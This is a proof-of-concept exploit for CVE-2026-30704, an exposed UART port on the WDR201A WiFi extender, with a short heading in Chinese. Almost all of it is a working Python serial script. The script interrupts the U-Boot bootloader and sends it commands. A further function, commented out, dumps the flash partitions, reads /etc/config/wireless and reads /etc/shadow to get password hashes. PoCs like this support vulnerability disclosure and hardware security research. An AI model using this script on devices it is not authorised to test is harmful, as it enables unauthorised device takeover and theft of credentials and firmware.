CVE-2026-30704: WiFi Extender WDR201A硬件未保护UART接口暴露漏洞

# CVE-2026-30704 UART Access PoC # Hardware Requirements: USB-to-TTL adapter (FTDI/CH340), jumper wires # Connection: TX->RX, RX->TX, GND->GND import serial import time # UART Configuration for WDR201A UART_CONFIG = { 'port': '/dev/ttyUSB0', # Adjust based on your system 'baudrate': 115200, 'bytesize': serial.EIGHTBITS, 'parity': serial.PARITY_NONE, 'stopbits': serial.STOPBITS_ONE, 'timeout': 1 } def connect_uart(): """Establish UART connection to WDR201A device""" try: ser = serial.Serial(**UART_CONFIG) print(f"[*] Connected to {UART_CONFIG['port']}") print(f"[*] Baudrate: {UART_CONFIG['baudrate']}") return ser except serial.SerialException as e: print(f"[!] Connection failed: {e}") return None def interact_with_uart(ser): """Interact with UART shell""" print("[*] Waiting for boot messages...") time.sleep(3) # Read boot output while ser.in_waiting: char = ser.read(1).decode('utf-8', errors='ignore') print(char, end='') # Send break to enter U-Boot (press Ctrl+C during boot) print("\n[*] Attempting to interrupt boot process...") ser.send_break() time.sleep(0.5) # Clear buffer while ser.in_waiting: ser.read(ser.in_waiting) # Try common U-Boot commands commands = ['help', 'printenv', 'setenv', 'boot'] for cmd in commands: ser.write(f"{cmd}\n".encode()) time.sleep(0.5) while ser.in_waiting: char = ser.read(1).decode('utf-8', errors='ignore') print(char, end='') def extract_firmware(ser): """Attempt to extract firmware via UART""" # Common commands to extract firmware cmds = [ 'cat /proc/mtd', 'cat /dev/mtdblock0 > /tmp/firmware.bin', 'cat /etc/config/wireless', 'cat /etc/shadow', 'strings /dev/mtdblock0' ] for cmd in cmds: print(f"\n[*] Executing: {cmd}") ser.write(f"{cmd}\n".encode()) time.sleep(2) while ser.in_waiting: char = ser.read(1).decode('utf-8', errors='ignore') print(char, end='') if __name__ == '__main__': ser = connect_uart() if ser: interact_with_uart(ser) # Uncomment to attempt firmware extraction # extract_firmware(ser) ser.close()